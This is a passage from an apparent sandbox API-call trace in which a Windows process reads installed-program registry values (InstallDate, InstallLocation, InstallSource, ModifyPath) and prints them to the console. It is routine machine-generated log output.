cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.057] __iob_func () returned 0x7fefd702a80 [0147.057] _fileno (_File=0x7fefd702ab0) returned 1 [0147.057] _errno () returned 0xc4bb0 [0147.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.057] _errno () returned 0xc4bb0 [0147.058] GetFileType (hFile=0x50) returned 0x1 [0147.058] lstrlenW (lpString=" ") returned 4 [0147.058] GetConsoleOutputCP () returned 0x1b5 [0147.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.058] GetConsoleOutputCP () returned 0x1b5 [0147.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.058] __iob_func () returned 0x7fefd702a80 [0147.058] _fileno (_File=0x7fefd702ab0) returned 1 [0147.058] _errno () returned 0xc4bb0 [0147.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.058] _errno () returned 0xc4bb0 [0147.058] GetFileType (hFile=0x50) returned 0x1 [0147.058] lstrlenW (lpString="REG_SZ") returned 6 [0147.058] GetConsoleOutputCP () returned 0x1b5 [0147.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.058] GetConsoleOutputCP () returned 0x1b5 [0147.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.059] __iob_func () returned 0x7fefd702a80 [0147.059] _fileno (_File=0x7fefd702ab0) returned 1 [0147.059] _errno () returned 0xc4bb0 [0147.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.059] _errno () returned 0xc4bb0 [0147.059] GetFileType (hFile=0x50) returned 0x1 [0147.059] lstrlenW (lpString=" ") returned 4 [0147.059] GetConsoleOutputCP () returned 0x1b5 [0147.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.059] GetConsoleOutputCP () returned 0x1b5 [0147.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.059] __iob_func () returned 0x7fefd702a80 [0147.059] _fileno (_File=0x7fefd702ab0) returned 1 [0147.059] _errno () returned 0xc4bb0 [0147.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.059] _errno () returned 0xc4bb0 [0147.059] GetFileType (hFile=0x50) returned 0x1 [0147.059] lstrlenW (lpString="20170630") returned 8 [0147.059] GetConsoleOutputCP () returned 0x1b5 [0147.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.060] GetConsoleOutputCP () returned 0x1b5 [0147.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0147.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.060] __iob_func () returned 0x7fefd702a80 [0147.060] _fileno (_File=0x7fefd702ab0) returned 1 [0147.060] _errno () returned 0xc4bb0 [0147.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.060] _errno () returned 0xc4bb0 [0147.060] GetFileType (hFile=0x50) returned 0x1 [0147.060] lstrlenW (lpString="\n") returned 1 [0147.060] GetConsoleOutputCP () returned 0x1b5 [0147.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.060] GetConsoleOutputCP () returned 0x1b5 [0147.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.060] GetProcessHeap () returned 0x2e0000 [0147.060] GetProcessHeap () returned 0x2e0000 [0147.060] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.060] GetProcessHeap () returned 0x2e0000 [0147.061] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.061] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.061] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.061] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.061] GetProcessHeap () returned 0x2e0000 [0147.061] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.061] GetProcessHeap () returned 0x2e0000 [0147.061] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.061] GetProcessHeap () returned 0x2e0000 [0147.061] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.061] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.061] __iob_func () returned 0x7fefd702a80 [0147.061] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.061] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.061] _fileno (_File=0x7fefd702ab0) returned 1 [0147.061] _errno () returned 0xc4bb0 [0147.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.061] _errno () returned 0xc4bb0 [0147.061] GetFileType (hFile=0x50) returned 0x1 [0147.061] lstrlenW (lpString=" ") returned 4 [0147.061] GetConsoleOutputCP () returned 0x1b5 [0147.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.061] GetConsoleOutputCP () returned 0x1b5 [0147.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.062] lstrlenW (lpString="InstallLocation") returned 15 [0147.062] __iob_func () returned 0x7fefd702a80 [0147.062] _fileno (_File=0x7fefd702ab0) returned 1 [0147.062] _errno () returned 0xc4bb0 [0147.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.062] _errno () returned 0xc4bb0 [0147.062] GetFileType (hFile=0x50) returned 0x1 [0147.062] lstrlenW (lpString="InstallLocation") returned 15 [0147.062] GetConsoleOutputCP () returned 0x1b5 [0147.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.062] GetConsoleOutputCP () returned 0x1b5 [0147.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.062] __iob_func () returned 0x7fefd702a80 [0147.062] _fileno (_File=0x7fefd702ab0) returned 1 [0147.062] _errno () returned 0xc4bb0 [0147.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.062] _errno () returned 0xc4bb0 [0147.062] GetFileType (hFile=0x50) returned 0x1 [0147.062] lstrlenW (lpString=" ") returned 4 [0147.062] GetConsoleOutputCP () returned 0x1b5 [0147.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.063] GetConsoleOutputCP () returned 0x1b5 [0147.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.063] __iob_func () returned 0x7fefd702a80 [0147.063] _fileno (_File=0x7fefd702ab0) returned 1 [0147.063] _errno () returned 0xc4bb0 [0147.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.063] _errno () returned 0xc4bb0 [0147.063] GetFileType (hFile=0x50) returned 0x1 [0147.063] lstrlenW (lpString="REG_SZ") returned 6 [0147.063] GetConsoleOutputCP () returned 0x1b5 [0147.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.063] GetConsoleOutputCP () returned 0x1b5 [0147.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.063] __iob_func () returned 0x7fefd702a80 [0147.063] _fileno (_File=0x7fefd702ab0) returned 1 [0147.063] _errno () returned 0xc4bb0 [0147.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.063] _errno () returned 0xc4bb0 [0147.064] GetFileType (hFile=0x50) returned 0x1 [0147.064] lstrlenW (lpString=" ") returned 4 [0147.064] GetConsoleOutputCP () returned 0x1b5 [0147.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.064] GetConsoleOutputCP () returned 0x1b5 [0147.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.064] __iob_func () returned 0x7fefd702a80 [0147.064] _fileno (_File=0x7fefd702ab0) returned 1 [0147.064] _errno () returned 0xc4bb0 [0147.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.064] _errno () returned 0xc4bb0 [0147.064] GetFileType (hFile=0x50) returned 0x1 [0147.064] lstrlenW (lpString="") returned 0 [0147.064] __iob_func () returned 0x7fefd702a80 [0147.064] _fileno (_File=0x7fefd702ab0) returned 1 [0147.064] _errno () returned 0xc4bb0 [0147.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.064] _errno () returned 0xc4bb0 [0147.064] GetFileType (hFile=0x50) returned 0x1 [0147.064] lstrlenW (lpString="\n") returned 1 [0147.064] GetConsoleOutputCP () returned 0x1b5 [0147.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.065] GetConsoleOutputCP () returned 0x1b5 [0147.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.065] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.065] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.065] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x44) returned 0x0 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x46) returned 0x2f9cc0 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0147.065] GetProcessHeap () returned 0x2e0000 [0147.065] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x46 [0147.065] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x44 | out: pdwType=0x23f5f0*=0x1, pvData="c:\\fdcdffa8a980600958d7f9015584\\", pcbData=0x23f670*=0x42) returned 0x0 [0147.065] __iob_func () returned 0x7fefd702a80 [0147.065] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.065] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.065] _fileno (_File=0x7fefd702ab0) returned 1 [0147.065] _errno () returned 0xc4bb0 [0147.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.065] _errno () returned 0xc4bb0 [0147.065] GetFileType (hFile=0x50) returned 0x1 [0147.065] lstrlenW (lpString=" ") returned 4 [0147.066] GetConsoleOutputCP () returned 0x1b5 [0147.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.066] GetConsoleOutputCP () returned 0x1b5 [0147.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.066] lstrlenW (lpString="InstallSource") returned 13 [0147.066] __iob_func () returned 0x7fefd702a80 [0147.066] _fileno (_File=0x7fefd702ab0) returned 1 [0147.066] _errno () returned 0xc4bb0 [0147.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.066] _errno () returned 0xc4bb0 [0147.066] GetFileType (hFile=0x50) returned 0x1 [0147.066] lstrlenW (lpString="InstallSource") returned 13 [0147.066] GetConsoleOutputCP () returned 0x1b5 [0147.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.066] GetConsoleOutputCP () returned 0x1b5 [0147.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.067] __iob_func () returned 0x7fefd702a80 [0147.067] _fileno (_File=0x7fefd702ab0) returned 1 [0147.067] _errno () returned 0xc4bb0 [0147.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.067] _errno () returned 0xc4bb0 [0147.067] GetFileType (hFile=0x50) returned 0x1 [0147.067] lstrlenW (lpString=" ") returned 4 [0147.067] GetConsoleOutputCP () returned 0x1b5 [0147.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.067] GetConsoleOutputCP () returned 0x1b5 [0147.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.067] __iob_func () returned 0x7fefd702a80 [0147.067] _fileno (_File=0x7fefd702ab0) returned 1 [0147.067] _errno () returned 0xc4bb0 [0147.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.067] _errno () returned 0xc4bb0 [0147.067] GetFileType (hFile=0x50) returned 0x1 [0147.067] lstrlenW (lpString="REG_SZ") returned 6 [0147.067] GetConsoleOutputCP () returned 0x1b5 [0147.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.068] GetConsoleOutputCP () returned 0x1b5 [0147.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.068] __iob_func () returned 0x7fefd702a80 [0147.068] _fileno (_File=0x7fefd702ab0) returned 1 [0147.068] _errno () returned 0xc4bb0 [0147.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.068] _errno () returned 0xc4bb0 [0147.068] GetFileType (hFile=0x50) returned 0x1 [0147.068] lstrlenW (lpString=" ") returned 4 [0147.068] GetConsoleOutputCP () returned 0x1b5 [0147.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.068] GetConsoleOutputCP () returned 0x1b5 [0147.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.068] __iob_func () returned 0x7fefd702a80 [0147.069] _fileno (_File=0x7fefd702ab0) returned 1 [0147.069] _errno () returned 0xc4bb0 [0147.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.069] _errno () returned 0xc4bb0 [0147.069] GetFileType (hFile=0x50) returned 0x1 [0147.069] lstrlenW (lpString="c:\\fdcdffa8a980600958d7f9015584\\") returned 32 [0147.069] GetConsoleOutputCP () returned 0x1b5 [0147.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\fdcdffa8a980600958d7f9015584\\", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0147.069] GetConsoleOutputCP () returned 0x1b5 [0147.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\fdcdffa8a980600958d7f9015584\\", cchWideChar=32, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\fdcdffa8a980600958d7f9015584\\", lpUsedDefaultChar=0x0) returned 32 [0147.069] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 32 [0147.069] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.069] __iob_func () returned 0x7fefd702a80 [0147.069] _fileno (_File=0x7fefd702ab0) returned 1 [0147.070] _errno () returned 0xc4bb0 [0147.070] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.070] _errno () returned 0xc4bb0 [0147.070] GetFileType (hFile=0x50) returned 0x1 [0147.070] lstrlenW (lpString="\n") returned 1 [0147.070] GetConsoleOutputCP () returned 0x1b5 [0147.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.070] GetConsoleOutputCP () returned 0x1b5 [0147.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.070] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.070] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.070] GetProcessHeap () returned 0x2e0000 [0147.070] GetProcessHeap () returned 0x2e0000 [0147.070] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0147.070] GetProcessHeap () returned 0x2e0000 [0147.070] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x46 [0147.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0147.070] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.070] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 